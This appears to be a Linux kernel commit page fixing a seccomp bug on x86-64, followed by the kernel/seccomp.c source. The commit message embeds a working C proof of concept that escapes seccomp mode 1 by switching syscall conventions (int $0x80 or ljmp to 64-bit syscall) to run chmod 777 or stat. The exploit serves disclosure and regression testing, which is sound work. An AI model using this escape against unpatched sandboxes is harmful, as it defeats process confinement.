5b1017404a
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
86 lines
1.6 KiB
C
86 lines
1.6 KiB
C
/*
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* linux/kernel/seccomp.c
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*
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* Copyright 2004-2005 Andrea Arcangeli <andrea@cpushare.com>
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*
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* This defines a simple but solid secure-computing mode.
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*/
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#include <linux/seccomp.h>
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#include <linux/sched.h>
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#include <linux/compat.h>
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/* #define SECCOMP_DEBUG 1 */
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#define NR_SECCOMP_MODES 1
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/*
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* Secure computing mode 1 allows only read/write/exit/sigreturn.
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* To be fully secure this must be combined with rlimit
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* to limit the stack allocations too.
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*/
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static int mode1_syscalls[] = {
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__NR_seccomp_read, __NR_seccomp_write, __NR_seccomp_exit, __NR_seccomp_sigreturn,
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0, /* null terminated */
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};
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#ifdef CONFIG_COMPAT
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static int mode1_syscalls_32[] = {
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__NR_seccomp_read_32, __NR_seccomp_write_32, __NR_seccomp_exit_32, __NR_seccomp_sigreturn_32,
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0, /* null terminated */
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};
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#endif
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void __secure_computing(int this_syscall)
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{
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int mode = current->seccomp.mode;
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int * syscall;
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switch (mode) {
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case 1:
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syscall = mode1_syscalls;
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#ifdef CONFIG_COMPAT
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if (is_compat_task())
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syscall = mode1_syscalls_32;
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#endif
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do {
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if (*syscall == this_syscall)
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return;
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} while (*++syscall);
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break;
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default:
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BUG();
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}
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#ifdef SECCOMP_DEBUG
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dump_stack();
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#endif
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do_exit(SIGKILL);
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}
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long prctl_get_seccomp(void)
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{
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return current->seccomp.mode;
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}
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long prctl_set_seccomp(unsigned long seccomp_mode)
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{
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long ret;
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/* can set it only once to be even more secure */
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ret = -EPERM;
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if (unlikely(current->seccomp.mode))
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goto out;
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ret = -EINVAL;
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if (seccomp_mode && seccomp_mode <= NR_SECCOMP_MODES) {
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current->seccomp.mode = seccomp_mode;
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set_thread_flag(TIF_SECCOMP);
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#ifdef TIF_NOTSC
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disable_TSC();
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#endif
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ret = 0;
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}
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out:
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return ret;
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}
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